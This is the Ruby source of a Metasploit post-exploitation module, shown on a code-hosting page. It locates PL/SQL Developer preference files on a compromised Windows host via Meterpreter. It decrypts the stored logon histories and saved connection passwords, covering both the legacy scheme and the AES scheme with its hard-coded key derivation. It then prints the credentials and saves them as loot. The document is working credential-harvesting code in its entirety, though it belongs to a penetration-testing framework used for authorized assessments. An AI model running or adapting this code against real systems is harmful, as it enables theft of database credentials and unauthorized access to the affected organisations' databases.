Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/plsql_developer.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::UserProfiles7include Msf::Post::File89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather PL/SQL Developer Connection Credentials',14'Description' => %q{15This module can decrypt the histories and connection credentials of PL/SQL Developer,16and passwords are available if the user chooses to remember.17},18'License' => MSF_LICENSE,19'References' => [20[ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/']21],22'Author' => [23'Adam Caudill', # Discovery of legacy decryption algorithm24'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm25],26'Platform' => [ 'win' ],27'SessionTypes' => [ 'meterpreter' ],28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31stdapi_fs_ls32stdapi_fs_separator33stdapi_fs_stat34]35}36},37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [IOC_IN_LOGS],40'Reliability' => []41}42)43)44register_options(45[46OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']),47]48)49end5051def decrypt_str_legacy(str)52result = ''53key = str[0..3].to_i54for i in 1..(str.length / 4 - 1) do55n = str[(i * 4)..(i * 4 + 3)].to_i56result << (((n - 1000) ^ (key + i * 10)) >> 4).chr57end58return result59end6061# New AES encryption algorithm introduced since PL/SQL Developer 15.062def decrypt_str_aes(str)63bytes = Rex::Text.decode_base64(str)6465cipher = OpenSSL::Cipher.new('aes-256-cfb8')66cipher.decrypt67hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x')68cipher.key = hash + hash[0..11]69cipher.iv = bytes[0..7] + "\x00" * 87071return cipher.update(bytes[8..]) + cipher.final72end7374def decrypt_str(str)75# Empty string76if str == ''77return ''78end7980if str.match(/^(\d{4})+$/)81return decrypt_str_legacy(str) # Legacy encryption82elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$})83return decrypt_str_aes(str[2..]) # New AES encryption84end8586# Shouldn't reach here87print_error("Unknown encryption format: #{str}")88return '[Unknown]'89end9091# Parse and separate the history string92def parse_history(str)93# @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined94result = Hash[@keys.map { |k| [k.to_sym, ''] }]95result[:Parent] = '-2'9697if str.end_with?(' AS SYSDBA')98result[:ConnectAs] = 'SYSDBA'99str = str[0..-11]100elsif str.end_with?(' AS SYSOPER')101result[:ConnectAs] = 'SYSOPER'102str = str[0..-12]103else104result[:ConnectAs] = 'Normal'105end106107# Database should be the last part after '@' sign108ind = str.rindex('@')109if ind.nil?110# Unexpected format, just use the whole string as DisplayName111result[:DisplayName] = str112return result113end114115result[:Database] = str[(ind + 1)..]116str = str[0..(ind - 1)]117118unless str.count('/') == 1119# Unexpected format, just use the whole string as DisplayName120result[:DisplayName] = str121return result122end123124result[:Username] = str[0..(str.index('/') - 1)]125result[:Password] = str[(str.index('/') + 1)..]126127return result128end129130def decrypt_pref(file_name)131file_contents = read_file(file_name)132if file_contents.nil? || file_contents.empty?133print_status "Skipping empty file: #{file_name}"134return []135end136137print_status("Decrypting #{file_name}")138result = []139140logon_history_section = false141connections_section = false142143# Keys that we care about144@keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password]145# Initialize obj with empty values146obj = Hash[@keys.map { |k| [k.to_sym, ''] }]147# Folder parent objects148folders = {}149150file_contents.split("\n").each do |line|151line.gsub!(/(\n|\r)/, '')152153if line == '[LogonHistory]' && !(logon_history_section || connections_section)154logon_history_section = true155next156elsif line == '[Connections]' && !(logon_history_section || connections_section)157connections_section = true158next159elsif line == ''160logon_history_section = false161connections_section = false162next163end164165if logon_history_section166# Contents in [LogonHistory] section are plain encrypted strings167# Calling the legacy decrypt function is intentional here168result << parse_history(decrypt_str_legacy(line))169elsif connections_section170# Contents in [Connections] section are key-value pairs171ind = line.index('=')172if ind.nil?173print_error("Invalid line: #{line}")174next175end176177key = line[0..(ind - 1)]178value = line[(ind + 1)..]179180if key == 'Password'181obj[:Password] = decrypt_str(value)182elsif obj.key?(key.to_sym)183obj[key.to_sym] = value184end185186# Color is the last field of a connection187if key == 'Color'188if obj[:IsFolder] != '1'189result << obj190else191folders[obj[:Number]] = obj192end193194# Reset obj195obj = Hash[@keys.map { |k| [k.to_sym, ''] }]196end197198end199end200201# Build display name (Add parent folder name to the beginning of the display name)202result.each do |item|203pitem = item204while pitem[:Parent] != '-1' && pitem[:Parent] != '-2'205pitem = folders[pitem[:Parent]]206if pitem.nil?207print_error("Invalid parent: #{item[:Parent]}")208break209end210item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName]211end212213if item[:Parent] == '-2'214item[:DisplayName] = '[LogonHistory]' + item[:DisplayName]215else216item[:DisplayName] = '[Connections]/' + item[:DisplayName]217end218219# Remove fields used to build the display name220item.delete(:Parent)221item.delete(:Number)222item.delete(:IsFolder)223224# Add file path to the final result225item[:FilePath] = file_name226end227228return result229end230231def enumerate_pref(plsql_path)232result = []233pref_dir = plsql_path + session.fs.file.separator + 'Preferences'234session.fs.dir.entries(pref_dir).each do |username|235udir = pref_dir + session.fs.file.separator + username236file_name = udir + session.fs.file.separator + 'user.prefs'237238result << file_name if directory?(udir) && file?(file_name)239end240241return result242end243244def run245print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}")246profiles = grab_user_profiles247pref_paths = []248249profiles.each do |user_profiles|250session.fs.dir.entries(user_profiles['AppData']).each do |dirname|251if dirname.start_with?('PLSQL Developer')252search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname253pref_paths += enumerate_pref(search_dir)254end255end256end257pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present?258259result = []260pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) }261262tbl = Rex::Text::Table.new(263'Header' => 'PL/SQL Developer Histories and Credentials',264'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath']265)266267result.each do |item|268tbl << item.values269end270271print_line(tbl.to_s)272# Only save data to disk when there's something in the table273if tbl.rows.count > 0274path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials')275print_good("Passwords stored in: #{path}")276end277end278end279280281